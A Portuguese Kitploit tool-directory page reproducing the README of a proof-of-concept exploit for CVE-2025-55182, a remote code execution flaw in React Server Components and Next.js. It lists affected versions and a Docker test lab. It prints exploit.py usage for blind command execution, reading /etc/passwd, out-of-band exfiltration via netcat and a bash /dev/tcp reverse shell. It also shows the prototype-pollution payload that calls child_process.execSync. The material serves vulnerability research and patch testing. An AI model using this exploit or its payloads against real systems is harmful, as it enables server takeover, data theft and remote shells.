Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-55182 — CVE-2025-55182 React2Shell PoC | Kitploit
Ferramentas/GitHubGitHub/lowercasenumbers/cve-2025-55182
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoFerramenta de Acesso Remoto
GitHublowercasenumbers/cve-2025-55182

CVE-2025-55182

CVE-2025-55182 React2Shell PoC

Ver Repositório
há 9 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-55182 - React2Shell PoC

Um exploit de prova de conceito para CVE-2025-55182, uma vulnerabilidade crítica (CVSS 10.0) de execução remota de código não autenticada em Componentes de Servidor React.

Créditos

Descoberto por Lachlan Davidson - Divulgado à equipe Meta/React em 29 de novembro de 2025.

Visão Geral da Vulnerabilidade

A vulnerabilidade existe na lógica de desserialização do protocolo React Flight. Ao enviar um payload malicioso via HTTP POST, um atacante pode obter poluição de protótipo que leva à execução arbitrária de código no servidor.

Versões Afetadas

Baixar ferramenta
PacoteVersões Vulneráveis
react-server-dom-webpack19.0.0, 19.1.0, 19.1.1, 19.2.0
react-server-dom-parcel19.0.0, 19.1.0, 19.1.1, 19.2.0
react-server-dom-turbopack19.0.0, 19.1.0, 19.1.1, 19.2.0
Next.js15.0.4, 15.1.8, 15.2.5, 15.3.5, 15.4.7, 15.5.6, 16.0.6

Frameworks Afetados

  • Next.js
  • React Router (com RSC)
  • Waku
  • @parcel/rsc
  • @vitejs/plugin-rsc
  • rwsdk (Redwood)

Arquivos

root@kitploit:~
.
├── exploit.py           # exploit script
├── docker-compose.yml   # Vulnerable test environment
├── vulnerable-app/      # Vulnerable Next.js application
└── README.md

Início Rápido

1. Iniciar o Contêiner Vulnerável

root@kitploit:~
docker compose up -d

Isso inicia uma aplicação Next.js vulnerável em http://localhost:3000.

2. Verificar se o Alvo é Vulnerável

root@kitploit:~
python3 exploit.py -u http://localhost:3000 --check

Isso realiza uma verificação não exploratória por indicadores incluindo:

  • Detecção de framework (Next.js, Waku, React Router, etc.)
  • Marcadores do protocolo Flight
  • Ações de Servidor
  • Detecção de versão

3. Exploração (Execução Cega)

root@kitploit:~
python3 exploit.py -u http://localhost:3000 -c "id"

Executa um comando sem ver a saída. Verifique com:

4. Exploração com Exfiltração de Saída

root@kitploit:~
python3 exploit.py -u http://localhost:3000 -c "id" --exfil <IP>:<PORT>

Seu endereço IP; Porta para escutar

Uso

root@kitploit:~
usage: exploit.py [-h] -u URL [-c COMMAND] [--check] [--exfil HOST:PORT]
                  [--timeout TIMEOUT] [--no-verify]

options:
  -u, --url URL         Target URL
  -c, --command CMD     Command to execute
  --check               Check if vulnerable (non-exploitative)
  --exfil HOST:PORT     Exfiltrate output to HOST:PORT
  --timeout TIMEOUT     Request timeout (default: 10)
  --no-verify           Disable SSL verification

Exemplos

root@kitploit:~
# Check vulnerability
python3 exploit.py -u http://localhost:3000 --check

# Blind RCE
python3 exploit.py -u http://localhost:3000 -c "touch /tmp/pwned"

# RCE with output
python3 exploit.py -u http://localhost:3000 -c "whoami" --exfil 172.17.0.1:9999

# Read files
python3 exploit.py -u http://localhost:3000 -c "cat /etc/passwd" --exfil 172.17.0.1:9999

# Reverse shell
python3 exploit.py -u http://localhost:3000 -c "bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'"

Estrutura do Payload

root@kitploit:~
{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\": \"$B0\"}",
  "_response": {
    "_prefix": "process.mainModule.require('child_process').execSync('id');",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

Exfiltração

O exploit corrompe o estado do servidor durante a execução, tornando a exfiltração de resposta in-band não confiável. A flag --exfil usa exfiltração out-of-band:

root@kitploit:~
┌──────────┐  1. Malicious POST   ┌──────────┐
│ Attacker │ ──────────────────►  │  Server  │
└──────────┘                      └──────────┘
     ▲                                 │
     │  3. Command output              │ 2. RCE executes:
     │     via nc                      │    cmd | nc attacker port
     │                                 ▼
     └─────────────────────────────────┘

Limpeza

root@kitploit:~
docker compose down

Aviso Legal

Esta ferramenta é apenas para testes de segurança autorizados e fins educacionais. Utilize apenas em sistemas para os quais você tenha permissão para testar.

Referências

  • Advertência de Segurança do React
  • NVD - CVE-2025-55182
  • Datadog Security Labs